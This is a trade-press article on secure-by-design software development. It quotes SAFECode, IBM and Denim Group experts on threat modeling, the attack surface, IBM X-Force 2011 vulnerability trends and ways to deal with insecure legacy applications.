Code surety: Secure by design

Development

Applications are written and upgraded by different coders at different times, and usually with no master plan, say experts. They contain a patchwork of code, objects and platforms with known vulnerabilities, such as might be found in HTML5, various flavors of Java, PHP, Ruby on Rails, iFrames, and more.

With these applications going virtual, into the cloud and even mobile, secure design must include ways to test the application before it's even developed, then during and after development, says Gary Phillips, board member for SAFECode, and senior director of technology assurance research at Symantec.

SAFECode, which stands for Software Assurance Forum for Excellence in Code, is supported by other large developers (including Microsoft, Adobe, SAP, Juniper Networks and Nokia) to advance best practices for more reliable software, hardware and services.

According to Phillips, secure code development practices are on the rise among commercial vendors.  And, this is substantiated by a decrease in web application vulnerabilities, according to the latest “IBM X-Force 2011 Mid-year Trend and Risk Report.” For the first time in six years, the number of web application vulnerabilities declined, from 49 percent to 37 percent, of all vulnerabilities reported in the first half of 2011, compared to the same time frame the previous year.

On the other hand, the number of vulnerabilities listed as critical tripled, while the report authors expect mobile exploits to double in 2012. SQL injections, XSS, input validation and numerous traditional attack methodologies are still prevalent in web applications, says Jack Danahy, director of advanced security at IBM. These, he adds, should not be migrated into the cloud.

“Web and cloud as platforms are both realizations of the distributed application,” he says. “I touch an application from somewhere offsite, gather a certain body of information, then touch something else and access other data.”

To determine what weaknesses attackers would attempt to exploit before an application is even developed, the application must be looked at from the point of its components, as a whole, and its interactions with other applications. This is commonly referred to as the attack surface, says Dan Cornell, CTO of the Denim Group, an application/portal development consultancy that also provides resources and training in this area.

Tools, libraries and APIs provided by OWASP, SAFECode, the Cloud Security Alliance and others can help developers model threats to their applications and discover where code, calls, interactions and functional aspects of the application could be made to fail.

Start by determining the value of the data the application will contain or access, Cornell says. For example, if it involves personally identifiable information (PII), health care or financial information, the application will be a target. Then model threats against that data by looking at the individual components of the application and its communication channels to pre-identify potential vulnerabilities at design time.

“It's much easier, cheaper and faster to repair vulnerabilities found during design rather than at implementation,” Cornell says. “But quite honestly, a lot of organizations we talk to are terrified of old legacy applications that they can't change, and are concerned about connecting them to other cloud and web-based applications.”

Cornell advises that organizations design secure workarounds, like connectors, APIs and hardening around the system that cannot be made secure. Or, if possible, use the new application design as a chance to upgrade old, insecure systems with new systems that can scale securely to web production, mobile access and cloud environments.

Next: Configuration